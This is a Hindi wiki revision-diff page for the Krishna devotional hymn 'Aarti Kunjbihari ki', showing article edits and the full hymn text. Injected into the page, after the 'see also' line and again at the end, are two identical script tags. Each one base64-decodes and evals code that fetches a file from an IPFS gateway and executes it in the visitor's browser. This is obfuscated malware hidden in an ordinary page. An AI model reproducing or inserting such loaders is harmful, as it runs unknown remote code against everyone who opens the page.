"कृष्ण जी की आरती" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('<blockquote><span style="color: maroon"><poem>आरती कुंजबिहारी की, श्री गिरिधर कृ...' के साथ नया पन्ना बनाया)
 
 
(3 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
 +
* भगवान [[कृष्ण]] का पूजन करते समय कुंजबिहारी आरती की स्तुति की जाती है।
 +
[[चित्र:Radha-Krishna-1.jpg|[[कृष्ण]] और [[राधा]]|thumb]]
 
<blockquote><span style="color: maroon"><poem>आरती कुंजबिहारी की, श्री गिरिधर कृष्णमुरारी की ॥
 
<blockquote><span style="color: maroon"><poem>आरती कुंजबिहारी की, श्री गिरिधर कृष्णमुरारी की ॥
  
पंक्ति 24: पंक्ति 26:
 
टेर सुन दीन भिखारी की ॥ श्री गिरिधर कृष्णमुरारी की…</poem></span></blockquote>
 
टेर सुन दीन भिखारी की ॥ श्री गिरिधर कृष्णमुरारी की…</poem></span></blockquote>
  
 
+
{{seealso|कृष्ण |कृष्ण चालीसा|कृष्ण जन्माष्टमी}}
{{लेख प्रगति
+
==संबंधित लेख==
|आधार=आधार1
+
{{आरती स्तुति स्तोत्र}}
|प्रारम्भिक=
+
[[Category:आरती स्तुति स्तोत्र]]
|माध्यमिक=
+
[[Category:हिन्दू धर्म]] [[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]]  
|पूर्णता=
 
|शोध=
 
}}
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
[[Category:नया पन्ना]]
 
 
__INDEX__
 
__INDEX__
[[Category:आरती_स्तुति_स्त्रोत]]
 

12:14, 21 मार्च 2014 के समय का अवतरण

  • भगवान कृष्ण का पूजन करते समय कुंजबिहारी आरती की स्तुति की जाती है।

आरती कुंजबिहारी की, श्री गिरिधर कृष्णमुरारी की ॥

गले में बैजंती माला, बजावै मुरली मधुर बाला ।
श्रवण में कुण्डल झलकाला, नंद के आनंद नंदलाला ।

गगन सम अंग कांति काली, राधिका चमक रही आली ।
लतन में ठाढ़े बनमाली;
भ्रमर सी अलक, कस्तूरी तिलक, चंद्र सी झलक;
ललित छवि श्यामा प्यारी की ॥ श्री गिरिधर कृष्णमुरारी की…

कनकमय मोर मुकुट बिलसै, देवता दरसन को तरसैं ।
गगन सों सुमन रासि बरसै;
बजे मुरचंग, मधुर मिरदंग, ग्वालिन संग;
अतुल रति गोप कुमारी की ॥ श्री गिरिधर कृष्णमुरारी की…

जहां ते प्रकट भई गंगा, कलुष कलि हारिणि श्रीगंगा ।
स्मरन ते होत मोह भंगा;
बसी सिव सीस, जटा के बीच, हरै अघ कीच;
चरन छवि श्रीबनवारी की ॥ श्री गिरिधर कृष्णमुरारी की…

चमकती उज्ज्वल तट रेनू, बज रही वृंदावन बेनू ।
चहुं दिसि गोपि ग्वाल धेनू;
हंसत मृदु मंद,चांदनी चंद, कटत भव फंद;
टेर सुन दीन भिखारी की ॥ श्री गिरिधर कृष्णमुरारी की…

इन्हें भी देखें: कृष्ण , कृष्ण चालीसा एवं कृष्ण जन्माष्टमी<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>